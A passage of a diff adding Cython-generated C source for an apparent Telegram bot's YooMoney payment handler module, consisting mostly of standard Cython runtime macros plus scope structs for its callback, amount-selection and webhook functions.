likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/yoomoney_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; + +/* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_expected_hash; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; +}; + + +/* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_account_id; + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_customer_id; + PyObject *__pyx_v_data; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_calculated_hash; + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + PyObject *__pyx_v_notification_secret; + PyObject *__pyx_v_request; + PyObject *__pyx_v_sha1_hash; + PyObject *__pyx_v_string_to_hash; + PyObject *__pyx_v_user_id; + PyObject *__pyx_v_user_id_str; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_account_id; + PyObject *__pyx_v_amount; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_customer_id; + PyObject *__pyx_v_message; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define 